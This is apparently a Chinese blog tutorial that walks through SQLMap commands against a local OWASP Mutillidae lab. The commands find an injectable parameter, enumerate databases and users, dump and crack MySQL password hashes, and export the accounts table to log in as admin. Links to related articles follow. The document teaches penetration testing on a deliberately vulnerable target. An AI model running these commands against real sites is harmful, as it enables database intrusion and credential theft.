(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据
目录结构
一、判断被测url的参数是否存在注入点
二、获取数据库系统的所有数据库名称(暴库)
三、获取Web应用当前所连接的数据库
四、获取Web应用当前所操作的DBMS用户
五、列出数据库中的所有用户
六、列出数据库中所有账户-对应的密码哈希
七、列出指定数据库中的所有数据表
八、列出指定数据表中的所有字段(列)
九、导出指定数据表中的列字段进行保存
十、根据导出的数据,验证数据有效性
利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。
本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)
一、判断被测url的参数是否存在注入点
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"
实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]


从以上信息可知:
1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);
2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;
3)检测的结果会自动保存到设定的目录下供查看
二、获取数据库系统的所有数据库名称(暴库)
枚举DBMS所有数据库: --dbs
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs
执行结果:检测列出了Mysql数据库管理系统中的6个数据库

三、获取Web应用当前所连接的数据库
检索DBMS当前数据库: --current-db
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db
执行结果:当前连接的数据库是nowasp

四、获取Web应用当前所操作的DBMS用户
检索DBMS当前用户: --current-user
SQLMap执行命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user
执行结果:当前操作的用户未root权限的超级用户

五、列出数据库中的所有用户
枚举DBMS所有用户: --users
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users
执行结果:DBMS中的所有用户都是root权限的超级用户

六、列出数据库中所有账户-对应的密码哈希
枚举DBMS所有用户的密码哈希: --passwords
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords
过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击
执行结果:
root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

采用的是mysql5方式加密(http://www.cmd5.com/)

七、列出指定数据库中的所有数据表
枚举DBMS数据库中的所有表: -D xx库 --tables
参数:
-D 指定数据库名称
--tables 列出所有数据表
首先再查看一下第二步中检测出的所有数据库名称:

比如本次选择检测数据库为nowasp,则
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables
执行结果:检测nowasp数据库,列出了其下的13个表

八、列出指定数据表中的所有字段(列)
枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns
参数:
-D 指定数据库名称
-T 指定数据表名称
--columns 列出所有字段(列)
SQLMap操作命令:python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns
执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

九、导出指定数据表中的列字段进行保存
导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump
参数:
-D 指定数据库名称
-T 指定数据表名称
-C 指定需要枚举的DBMS数据库表字段
--dump 导出DBMS数据表项
SQLMap操作命令:(导出部分字段)python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump
执行结果:检测列出了指定的字段值

若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

导出的结果会自动存储到特定的文件路径下

十、根据导出的数据,验证数据有效性
从刚才导出的字段值中,选取一组username/password:admin---adminpass
输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据的更多相关文章
- python使用sqlmap API检测SQL注入
0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...
- sql脚本来获取数据库中的所有表结构了
sql脚本来获取数据库中的所有表结构了,代码如下: use AdventureWorks2008 go SELECT (case when a.colorder=1 then d.name else ...
- sqlmap检测sql注入漏洞
sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...
- 手工检测SQL注入漏洞
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- 使用 UEditor 编辑器获取数据库中的数据
在 ThinkPHP 3.2.2 中,使用 UEditor 编辑器获取数据库中保存的数据,可以使用 UEditor 自身提供的方法. 首先在视图模板中实例化编辑器,这是出现编辑器界面的必须的行为: & ...
- 用SQLMAP工具进行SQL注入
1.检查注入点 [注入点需要自己寻找,可以利用一些工具,例如:Acunetix Web Vulnerability scanner (WVS),AppScan等]u表示URL. sqlmap - ...
- 当From窗体中数据变化时,使用代码获取数据库中的数据然后加入combobox中并且从数据库中取得最后的结果
private void FormLug_Load(object sender, EventArgs e) { FieldListLug.Clear();//字段清除 DI = double.Pars ...
- 根据不同的实体及其ID来获取数据库中的数据
/// <summary> /// 根据不同的实体和其ID来获取信息 /// </summary> /// <typeparam name="T"&g ...
- php页面获取数据库中的数据
<!DOCTYPE HTML><html> <head> <meta charset="utf-8" /> ...
随机推荐
- struts2 进阶--异常捕获机制
在SpringMvc中有自己的异常处理机制,struts2当然会有此功能,主要是在struts.xml中配置: <bean type="com.opensymphony.xwork2. ...
- 2020年腾讯实习生C++面试题&持续更新中(1)
2020年腾讯实习生C++面试题&持续更新中(1) 腾讯面试整理(1) 最近大三的学生找实习生的同学非常多,给大家分享一篇腾讯实习生的面试题,关于面试题,会持续更新~~~ 也算是今天开通博客的 ...
- 微服务框架 ketchup 介绍
1.背景 在ketchup诞生之前.期间也是用surging开发了两个项目.奈何surging没有文档,升级之后,只能从头在读一遍源码,了解新功能,会消耗大量的时间.商业化也使一些 想学习微服务的人望 ...
- Spark Streaming 整合 Flume
Spark Streaming 整合 Flume 一.简介二.推送式方法 2.1 配置日志收集Flume 2.2 项目依赖 2.3 Spark Strea ...
- LAMP搭建wordpress
centos7安装Apache centos7安装mysql8 centos7安装php7 先登录mysql创建一个wordpress的数据库 create database wordpress 下载 ...
- Deno会在短期内取代Node吗?
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文出处:https://blog.bitsrc.io/what-is-deno-and-will-it-r ...
- spring源码解析-ApplicationContext解析
ApplicationContext和BeanFactory一样都是bean的容器,而BeanFactory是一切Bean容器的父类,ApplicationContext继承于BeanFactory( ...
- SQL——SQL日期
SQL日期 MySQL: NOW() 返回当前的日期和时间 CURDATE() 返回当前的日期 CURTIME() 返回当前的时间 DAT ...
- python调用大漠插件教程03窗口绑定实例
怎样利用注册好的大漠对象来绑定窗口? 直接上代码,根据代码分析 from win32com.client import Dispatch import os from win32gui import ...
- 【朝夕技术专刊】RabbitMQ路由解析(上篇)
欢迎大家阅读<朝夕Net社区技术专刊> 我们致力于.NetCore的推广和落地,为更好的帮助大家学习,方便分享干货,特创此刊!很高兴你能成为忠实读者,文末福利不要错过哦! 上篇文章介绍了如 ...